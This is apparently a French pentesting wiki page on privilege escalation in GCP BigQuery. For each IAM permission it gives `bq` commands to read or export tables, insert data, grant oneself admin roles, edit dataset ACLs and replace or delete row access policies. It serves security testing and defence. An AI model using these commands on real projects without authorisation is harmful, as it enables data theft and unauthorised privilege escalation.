# GCP - BigQuery Privesc

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## BigQuery

Pour plus d'informations sur BigQuery, consultez :

{{#ref}}
../gcp-services/gcp-bigquery-enum.md
{{#endref}}

### Lire la table

Lire les informations stockées à l'intérieur d'une table BigQuery peut permettre de trouver des **informations sensibles**. Pour accéder aux informations, les permissions nécessaires sont **`bigquery.tables.get`**, **`bigquery.jobs.create`** et **`bigquery.tables.getData`** :
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
### Exporter des données

C'est une autre façon d'accéder aux données. **Exportez-les vers un bucket de stockage cloud** et **téléchargez les fichiers** contenant les informations.\
Pour effectuer cette action, les autorisations suivantes sont nécessaires : **`bigquery.tables.export`**, **`bigquery.jobs.create`** et **`storage.objects.create`**.
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
### Insérer des données

Il pourrait être possible d'**introduire certaines données de confiance** dans une table Bigquery pour abuser d'une **vulnérabilité à un autre endroit.** Cela peut être facilement fait avec les permissions **`bigquery.tables.get`**, **`bigquery.tables.updateData`** et **`bigquery.jobs.create`** :
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json
```
### `bigquery.datasets.setIamPolicy`

Un attaquant pourrait abuser de ce privilège pour **s'accorder des permissions supplémentaires** sur un ensemble de données BigQuery :
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
### `bigquery.datasets.update`, (`bigquery.datasets.get`)

Cette permission permet de **mettre à jour votre accès à un ensemble de données BigQuery en modifiant les ACL** qui indiquent qui peut y accéder :
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
### `bigquery.tables.setIamPolicy`

Un attaquant pourrait abuser de ce privilège pour **s'octroyer des permissions supplémentaires** sur une table BigQuery :
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Selon la documentation, avec les permissions mentionnées, il est possible de **mettre à jour une politique de ligne.**\
Cependant, **en utilisant le cli `bq`**, vous avez besoin de quelques autres : **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
Il est possible de trouver l'ID de filtre dans la sortie de l'énumération des politiques de ligne. Exemple :
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
```
Si vous avez **`bigquery.rowAccessPolicies.delete`** au lieu de `bigquery.rowAccessPolicies.update`, vous pouvez également simplement supprimer la politique :
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
> [!CAUTION]
> Une autre option potentielle pour contourner les politiques d'accès aux lignes serait de simplement changer la valeur des données restreintes. Si vous ne pouvez voir que lorsque `term` est `Cfba`, modifiez simplement tous les enregistrements de la table pour avoir `term = "Cfba"`. Cependant, cela est empêché par bigquery.

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